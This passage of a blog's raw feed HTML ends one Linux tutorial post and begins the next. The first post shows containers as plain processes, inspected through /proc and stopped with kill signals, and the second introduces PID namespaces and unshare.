xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This directory gives you a complete snapshot of that process&#8217;s world: its open file descriptors, mounts, environment, and namespace references. One particularly interesting entry is the <code>root</code> symlink:</p><pre><code><code>$ sudo ls -l /proc/2112/root</code></code></pre><p>This points to the <em>root filesystem</em> as seen by the Redis container. If you navigate into it (using <code>sudo</code>), you&#8217;ll be effectively looking at the container&#8217;s filesystem from the host:</p><pre><code><code>$ sudo ls /proc/2112/root</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GDBa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b2b0aa0-18f3-4582-bd56-3d1673367b16_1064x181.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GDBa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b2b0aa0-18f3-4582-bd56-3d1673367b16_1064x181.png 424w, https://substackcdn.com/image/fetch/$s_!GDBa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b2b0aa0-18f3-4582-bd56-3d1673367b16_1064x181.png 848w, https://substackcdn.com/image/fetch/$s_!GDBa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b2b0aa0-18f3-4582-bd56-3d1673367b16_1064x181.png 1272w, https://substackcdn.com/image/fetch/$s_!GDBa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b2b0aa0-18f3-4582-bd56-3d1673367b16_1064x181.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GDBa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b2b0aa0-18f3-4582-bd56-3d1673367b16_1064x181.png" width="1064" height="181" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2b2b0aa0-18f3-4582-bd56-3d1673367b16_1064x181.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:181,&quot;width&quot;:1064,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:29812,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b2b0aa0-18f3-4582-bd56-3d1673367b16_1064x181.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GDBa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b2b0aa0-18f3-4582-bd56-3d1673367b16_1064x181.png 424w, https://substackcdn.com/image/fetch/$s_!GDBa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b2b0aa0-18f3-4582-bd56-3d1673367b16_1064x181.png 848w, https://substackcdn.com/image/fetch/$s_!GDBa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b2b0aa0-18f3-4582-bd56-3d1673367b16_1064x181.png 1272w, https://substackcdn.com/image/fetch/$s_!GDBa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b2b0aa0-18f3-4582-bd56-3d1673367b16_1064x181.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>You&#8217;ll notice it looks just like the container&#8217;s internal filesystem. You can even create or modify files here:</p><pre><code><code>$ sudo touch /proc/2112/root/demo-file.txt</code></code></pre><p>That file now exists <em>inside</em> the container. You can verify it by checking from within Docker:</p><pre><code><code>$ docker exec redis-demo ls /</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qVP6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8654da-abe2-4bf7-803e-efeae4be9339_1064x618.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qVP6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8654da-abe2-4bf7-803e-efeae4be9339_1064x618.png 424w, https://substackcdn.com/image/fetch/$s_!qVP6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8654da-abe2-4bf7-803e-efeae4be9339_1064x618.png 848w, https://substackcdn.com/image/fetch/$s_!qVP6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8654da-abe2-4bf7-803e-efeae4be9339_1064x618.png 1272w, https://substackcdn.com/image/fetch/$s_!qVP6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8654da-abe2-4bf7-803e-efeae4be9339_1064x618.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qVP6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8654da-abe2-4bf7-803e-efeae4be9339_1064x618.png" width="1064" height="618" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fb8654da-abe2-4bf7-803e-efeae4be9339_1064x618.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:618,&quot;width&quot;:1064,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:52123,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8654da-abe2-4bf7-803e-efeae4be9339_1064x618.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!qVP6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8654da-abe2-4bf7-803e-efeae4be9339_1064x618.png 424w, https://substackcdn.com/image/fetch/$s_!qVP6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8654da-abe2-4bf7-803e-efeae4be9339_1064x618.png 848w, https://substackcdn.com/image/fetch/$s_!qVP6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8654da-abe2-4bf7-803e-efeae4be9339_1064x618.png 1272w, https://substackcdn.com/image/fetch/$s_!qVP6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8654da-abe2-4bf7-803e-efeae4be9339_1064x618.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>You&#8217;ll see <code>demo-file.txt</code> listed among the files. This experiment demonstrates a powerful fact: since containers are just processes, you can inspect and even manipulate them through the kernel&#8217;s <code>/proc</code> interface, no <code>docker exec</code> required.</p><blockquote><p><strong>TIP</strong> </p><p>Be careful when modifying files this way, /proc/[PID]/root gives you direct access to a live container&#8217;s filesystem. It&#8217;s incredibly useful for forensics or troubleshooting but can cause unintended side effects if used carelessly.</p></blockquote><h2>Managing Containers Like Regular Processes</h2><p>Because containers are just processes, you can control them using the same tools you&#8217;d use for any other Linux process. For example, you can stop a container by sending it a signal directly, without ever touching the Docker CLI.</p><p>Start by checking which containers are currently running:</p><pre><code><code>$ docker ps</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GHGN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F500d2796-df79-4795-a748-be38d77083a4_1064x235.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GHGN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F500d2796-df79-4795-a748-be38d77083a4_1064x235.png 424w, https://substackcdn.com/image/fetch/$s_!GHGN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F500d2796-df79-4795-a748-be38d77083a4_1064x235.png 848w, https://substackcdn.com/image/fetch/$s_!GHGN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F500d2796-df79-4795-a748-be38d77083a4_1064x235.png 1272w, https://substackcdn.com/image/fetch/$s_!GHGN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F500d2796-df79-4795-a748-be38d77083a4_1064x235.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GHGN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F500d2796-df79-4795-a748-be38d77083a4_1064x235.png" width="1064" height="235" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/500d2796-df79-4795-a748-be38d77083a4_1064x235.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:235,&quot;width&quot;:1064,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:37495,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F500d2796-df79-4795-a748-be38d77083a4_1064x235.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GHGN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F500d2796-df79-4795-a748-be38d77083a4_1064x235.png 424w, https://substackcdn.com/image/fetch/$s_!GHGN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F500d2796-df79-4795-a748-be38d77083a4_1064x235.png 848w, https://substackcdn.com/image/fetch/$s_!GHGN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F500d2796-df79-4795-a748-be38d77083a4_1064x235.png 1272w, https://substackcdn.com/image/fetch/$s_!GHGN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F500d2796-df79-4795-a748-be38d77083a4_1064x235.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Now identify the PID of your Redis container (if you don&#8217;t already have it):</p><pre><code><code>$ ps -fC redis-server</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fbZ_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4909324d-0a51-4a05-99aa-0a25b27ff5f7_1064x178.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fbZ_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4909324d-0a51-4a05-99aa-0a25b27ff5f7_1064x178.png 424w, https://substackcdn.com/image/fetch/$s_!fbZ_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4909324d-0a51-4a05-99aa-0a25b27ff5f7_1064x178.png 848w, https://substackcdn.com/image/fetch/$s_!fbZ_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4909324d-0a51-4a05-99aa-0a25b27ff5f7_1064x178.png 1272w, https://substackcdn.com/image/fetch/$s_!fbZ_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4909324d-0a51-4a05-99aa-0a25b27ff5f7_1064x178.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fbZ_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4909324d-0a51-4a05-99aa-0a25b27ff5f7_1064x178.png" width="1064" height="178" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4909324d-0a51-4a05-99aa-0a25b27ff5f7_1064x178.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:178,&quot;width&quot;:1064,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:28337,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4909324d-0a51-4a05-99aa-0a25b27ff5f7_1064x178.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fbZ_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4909324d-0a51-4a05-99aa-0a25b27ff5f7_1064x178.png 424w, https://substackcdn.com/image/fetch/$s_!fbZ_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4909324d-0a51-4a05-99aa-0a25b27ff5f7_1064x178.png 848w, https://substackcdn.com/image/fetch/$s_!fbZ_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4909324d-0a51-4a05-99aa-0a25b27ff5f7_1064x178.png 1272w, https://substackcdn.com/image/fetch/$s_!fbZ_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4909324d-0a51-4a05-99aa-0a25b27ff5f7_1064x178.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Here our  Redis process has PID <strong>2112</strong>. You can stop it by sending a SIGKILL signal with the <code>kill</code> command:</p><pre><code><code>$ sudo kill -9 2112</code></code></pre><p>Check again with Docker:</p><pre><code><code>$ docker ps</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eSH8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95c9fa0a-d234-4adc-b61e-dc86f2b6dcee_1064x178.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eSH8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95c9fa0a-d234-4adc-b61e-dc86f2b6dcee_1064x178.png 424w, https://substackcdn.com/image/fetch/$s_!eSH8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95c9fa0a-d234-4adc-b61e-dc86f2b6dcee_1064x178.png 848w, https://substackcdn.com/image/fetch/$s_!eSH8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95c9fa0a-d234-4adc-b61e-dc86f2b6dcee_1064x178.png 1272w, https://substackcdn.com/image/fetch/$s_!eSH8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95c9fa0a-d234-4adc-b61e-dc86f2b6dcee_1064x178.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eSH8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95c9fa0a-d234-4adc-b61e-dc86f2b6dcee_1064x178.png" width="1064" height="178" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/95c9fa0a-d234-4adc-b61e-dc86f2b6dcee_1064x178.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:178,&quot;width&quot;:1064,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:30836,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95c9fa0a-d234-4adc-b61e-dc86f2b6dcee_1064x178.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eSH8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95c9fa0a-d234-4adc-b61e-dc86f2b6dcee_1064x178.png 424w, https://substackcdn.com/image/fetch/$s_!eSH8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95c9fa0a-d234-4adc-b61e-dc86f2b6dcee_1064x178.png 848w, https://substackcdn.com/image/fetch/$s_!eSH8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95c9fa0a-d234-4adc-b61e-dc86f2b6dcee_1064x178.png 1272w, https://substackcdn.com/image/fetch/$s_!eSH8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95c9fa0a-d234-4adc-b61e-dc86f2b6dcee_1064x178.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The Redis container will no longer be listed, because when you killed its process, the container stopped. Docker simply treats that process as the container&#8217;s main entry point (PID 1 inside its namespace). Once it exits, the container is considered stopped.</p><blockquote><p><strong>IMPORTANT</strong></p><p>This method bypasses Docker&#8217;s normal shutdown sequence, which gracefully stops containers by sending a SIGTERM first and giving processes time to exit cleanly. Using kill -9 should only be done for troubleshooting or testing, not in production.</p></blockquote><p>You can also experiment with other signals. For example:</p><pre><code><code>$ sudo kill -SIGTERM 2112</code></code></pre><p>This allows the process to shut down gracefully, mimicking what happens when you run <code>docker stop redis-demo</code>.</p><p>This hands-on test reinforces a simple truth: container runtimes like Docker are <strong>management layers</strong>. They track and coordinate Linux processes, but the actual isolation and control happen entirely within the kernel.</p><h2>Looking Ahead</h2><p>What we&#8217;ve seen in this part is the reality behind containerization: containers aren&#8217;t special kernel objects or miniature virtual machines, they&#8217;re simply Linux processes running inside a collection of namespaces and controlled by cgroups.</p><p>By examining running containers with tools like <code>ps</code> and exploring their directories under <code>/proc</code>, you&#8217;ve seen how every container maps directly to a process on the host. You&#8217;ve also learned that because of this, you can interact with containers at the process level, inspecting, signaling, or even modifying them without any container tooling.</p><p>This perspective is crucial to understanding how container runtimes like Docker or Podman operate. They don&#8217;t reinvent process management; they orchestrate it. The Linux kernel does all the real isolation work.</p><p>In the next part of the series, we&#8217;ll move deeper into that isolation and explore <strong>Network Namespaces</strong>, the feature that gives each container its own independent network stack, IP address, and routing table. You&#8217;ll learn how to create network namespaces manually, connect them using virtual Ethernet pairs, and see exactly how Docker wires containers together behind the scenes.</p><h2><strong>Thanks for reading!</strong></h2><p>If you enjoyed this content, don&#8217;t forget to leave a comment, like &#10084;&#65039; and subscribe to get more posts like this every week.</p>]]></content:encoded></item><item><title><![CDATA[Part 2: Linux Namespaces - PID Namespaces ]]></title><description><![CDATA[Process Isolation]]></description><link>https://blog.sysxplore.com/p/part-2-linux-namespaces-pid-namespaces</link><guid isPermaLink="false">https://blog.sysxplore.com/p/part-2-linux-namespaces-pid-namespaces</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Sat, 01 Nov 2025 06:03:55 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c87d608e-8f30-4692-b18b-753ad5497039_876x626.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Welcome to the next part of our Linux Namespaces series.</p><p>In the previous part, we explored what Linux namespaces are, the different types available, and how they&#8217;re used by containers.</p><p>In this part, we&#8217;ll continue where we left off and take a closer look at one of the most fundamental namespace types, the <strong>PID namespace</strong>.</p><p>As you already know, every process running on Linux has a unique Process ID (PID).</p><p>If you run <code>ps aux</code>, you&#8217;ll see every process on the system, no matter who started it.</p><p>This global visibility is convenient, but it also means any process (with enough privileges) can observe or even interact with others by sending signals.</p><p>PID namespaces change that behavior.</p><p>They give processes their own private view of the system&#8217;s process tree.</p><p>Inside a PID namespace, process numbering starts from 1 again, and that process becomes the &#8220;init&#8221; process for that isolated environment.</p><p>This also means that two processes in different PID namespaces can share the same PID without conflict, each namespace maintains its own independent process ID space.</p><p>This is exactly how containers appear to have their own independent process lists, even though they all share the same kernel.</p><p>Docker, Podman, and other container runtimes rely heavily on PID namespaces to make each container behave like a self-contained system.</p><p>In this section, we&#8217;ll see how PID namespaces work in practice by creating one manually using <code>unshare</code>, and by examining how parent, child, and grandchild namespaces relate to one another.</p><h2>Creating a New PID Namespace with <code>unshare</code></h2><p>In the previous part, we saw how to list all namespaces on a system using the <code>lsns</code> command.</p><p>Let&#8217;s start from there to remind ourselves what namespaces currently exist on the host.</p><pre><code><code>$ sudo lsns</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!05zk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82ce838-e588-40cd-8504-3a13d00f59af_1024x589.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!05zk!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82ce838-e588-40cd-8504-3a13d00f59af_1024x589.png 424w, https://substackcdn.com/image/fetch/$s_!05zk!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82ce838-e588-40cd-8504-3a13d00f59af_1024x589.png 848w, https://substackcdn.com/image/fetch/$s_!05zk!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82ce838-e588-40cd-8504-3a13d00f59af_1024x589.png 1272w, https://substackcdn.com/image/fetch/$s_!05zk!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82ce838-e588-40cd-8504-3a13d00f59af_1024x589.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!05zk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82ce838-e588-40cd-8504-3a13d00f59af_1024x589.png" width="1024" height="589" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c82ce838-e588-40cd-8504-3a13d00f59af_1024x589.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:589,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:126462,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82ce838-e588-40cd-8504-3a13d00f59af_1024x589.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 